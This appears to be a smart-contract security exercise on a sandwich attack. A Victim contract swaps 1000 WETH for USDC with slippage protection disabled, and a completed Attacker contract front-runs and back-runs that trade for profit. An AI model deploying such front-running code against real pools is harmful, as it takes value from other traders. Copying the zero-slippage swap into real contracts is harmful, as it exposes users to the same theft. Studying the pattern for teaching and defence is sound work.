SandwichSwap

Victim turns slippage protection off by setting amountOutMin = 0 swaps 1000 weth (token0) for usdc (token1)

    function performSwap(address[] calldata path, uint256 deadline) public {
        IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
    }

To perform a sandwich attack, we implement frontrun and backrun:

  • In frontrun,

  • In backrun,

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "./interfaces/IERC20.sol";

/**
 *
 *  SANDWICH ATTACK AGAINST A SWAP TRANSACTION
 *
 * We have two contracts: Victim and Attacker. Both contracts have an initial balance of 1000 WETH. The Victim contract
 * will swap 1000 WETH for USDC, setting amountOutMin = 0.
 * The challenge is use the Attacker contract to perform a sandwich attack on the victim's
 * transaction to make profit.
 *
 */
contract Attacker {
    // This function will be called before the victim's transaction.
    function frontrun(address router, address weth, address usdc, uint256 deadline) public {
        // Approve router to spend WETH
        uint256 wethBalance = IERC20(weth).balanceOf(address(this));
        IERC20(weth).approve(router, wethBalance);
        
        // Create path for WETH -> USDC swap
        address[] memory path = new address[](2);
        path[0] = weth;
        path[1] = usdc;
        
        // Swap WETH for USDC to increase the price of USDC
        IUniswapV2Router(router).swapExactTokensForTokens(
            wethBalance,
            0, // amountOutMin
            path,
            address(this),
            deadline
        );
    }

    // This function will be called after the victim's transaction.
    function backrun(address router, address weth, address usdc, uint256 deadline) public {
        // Get USDC balance
        uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
        
        // Approve router to spend USDC
        IERC20(usdc).approve(router, usdcBalance);
        
        // Create path for USDC -> WETH swap
        address[] memory path = new address[](2);
        path[0] = usdc;
        path[1] = weth;
        
        // Swap USDC back to WETH at the higher price
        IUniswapV2Router(router).swapExactTokensForTokens(
            usdcBalance,
            0, // amountOutMin
            path,
            address(this),
            deadline
        );
    }
}

contract Victim {
    address public immutable router;

    constructor(address _router) {
        router = _router;
    }

    function performSwap(address[] calldata path, uint256 deadline) public {
        IUniswapV2Router(router).swapExactTokensForTokens(1000 * 1e18, 0, path, address(this), deadline);
    }
}

interface IUniswapV2Router {
    /**
     *     amountIn: the amount to use for swap.
     *     amountOutMin: the minimum amount of output tokens that must be received for the transaction not to revert.
     *     path: an array of token addresses. In our case, WETH and USDC.
     *     to: recipient address to receive the liquidity tokens.
     *     deadline: timestamp after which the transaction will revert.
     */
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

Last updated